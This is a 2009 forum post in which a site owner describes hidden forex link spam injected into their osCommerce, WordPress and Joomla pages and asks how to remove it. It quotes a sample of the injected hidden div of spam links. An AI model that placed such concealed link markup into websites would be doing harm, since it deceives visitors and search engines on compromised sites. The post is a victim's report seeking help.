YinGaokao Posted September 29, 2009 Posted September 29, 2009 For the last two days, I noticed that there are some link spam on my websites. It is affecting 2 osCommerce v2.2 RC 2 : - Ncardcanada.com/catalog - Buy-acekard.com Wordpress 2.8.4 - Ncardcanada.com/blog Joomla 1.5 - Ncardcanada.com/joomla The link spam is always placed right after the “body start” tag of right after the “html end” tag. If you look at the html source code, you will notice something like : <div style="display:none"><a href='http://www.ncardcanada.com/catalog/advanced_search_result.php/?fdnk=0'>best forex system trading</a> <a href='http://www.ncardcanada.com/catalog/advanced_search_result.php/?fdnk=1'>forex broker review</a> <a href='http://www.ncardcanada.com/catalog/advanced_search_result.php/?fdnk=2'>forex economic calendar</a> <a href='http://www.ncardcanada.com/catalog/advanced_search_result.php/?fdnk=3'>forex introducing broker</a> ……… I searched google for other infected website and noticed most (not all) are oscommerce website. http://www.google.ca/search?hl=fr&clie...art=20&sa=N How can I fix this
